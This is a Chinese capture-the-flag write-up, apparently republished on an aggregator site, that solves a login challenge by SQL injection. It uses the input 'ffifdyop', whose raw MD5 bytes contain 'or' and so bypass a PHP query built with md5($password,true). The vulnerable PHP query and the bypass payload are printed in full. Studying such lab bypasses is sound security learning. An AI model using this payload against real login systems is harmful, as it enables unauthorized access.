SQL注入---MD5加密绕行
Posted Labs安全研习笔记
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入---MD5加密绕行相关的知识,希望对你有一定的参考价值。
大家好,最近小编要练习登录爆破,来看看今天的题目吧
题目 后台登录
格式:flag:{xxx}
解题链接: http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
打开网页,这个题目连用户名都不用猜了,看来用密码,看来题目比较初级啊
试试123456来进行测试,提示密码错误,右键点击查看源代码,查看是不是包含了用户名,发现一段sql语句,表admin,包含username= admin,password为md5加密,估计是怕绕行才加密后输入
<!-- $password=$_POST['password']; $sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'"; $result=mysqli_query($link,$sql); if(mysqli_num_rows($result)>0){ echo 'flag is :'.$flag; } else{ echo '密码错误!'; } --> |
分析下这个sql语句
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'" |
参考:http://www.w3school.com.cn/php/func_string_md5.asp
md5()函数有两个参数,一个是要加密的字符串,另一个是输出格式,具体是
raw |
可选。规定十六进制或二进制输出格式: · TRUE - 原始 16 字符二进制格式 · FALSE - 默认。32 字符十六进制数 |
md5($password,true)将MD5值转化为16进制
那么我们可以在加密前,来个绕行,然后再MD5加密
百度一下,发现这个链接后面有个提示“ffifdyop”,把这个进行MD5加密得到
276f722736c95d99e921722cf9ed621c
然后再把这个作为十六进制转为字符,包含特殊字符
http://www.bejson.com/convert/ox2str/
方法二,我们也可以自己写个md5解密算法
参考:http://www.w3school.com.cn/php/func_string_md5.asp的实例
<?php $str = "ffifdyop"; echo "字符串:".$str."<br>"; echo "TRUE - 原始 16 字符二进制格式:".md5($str, TRUE)."<br>"; echo "FALSE - 32 字符十六进制格式:".md5($str)."<br>"; ?> |
将代码放到https://tool.lu/coderunner/中运行
字符串:ffifdyop<br>TRUE - 原始 16 字符二进制格式:'or'6�]��!r,��b<br>FALSE - 32 字符十六进制格式:276f722736c95d99e921722cf9ed621c<br> sandbox> exited with status 0 |
和用在线工具一样
看到很熟悉的or 关键字,转换之后的字符串包含'or'<xxx>
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = ''or'<xxx>' |
直接提交ffifdyop,flag得到了
以上是关于SQL注入---MD5加密绕行的主要内容,如果未能解决你的问题,请参考以下文章
C# MD5 和/或其他加密 oledb (access 2007)
Node.js实战一文带你开发博客项目之安全(sql注入xss攻击md5加密算法)
Node.js实战一文带你开发博客项目之安全(sql注入xss攻击md5加密算法)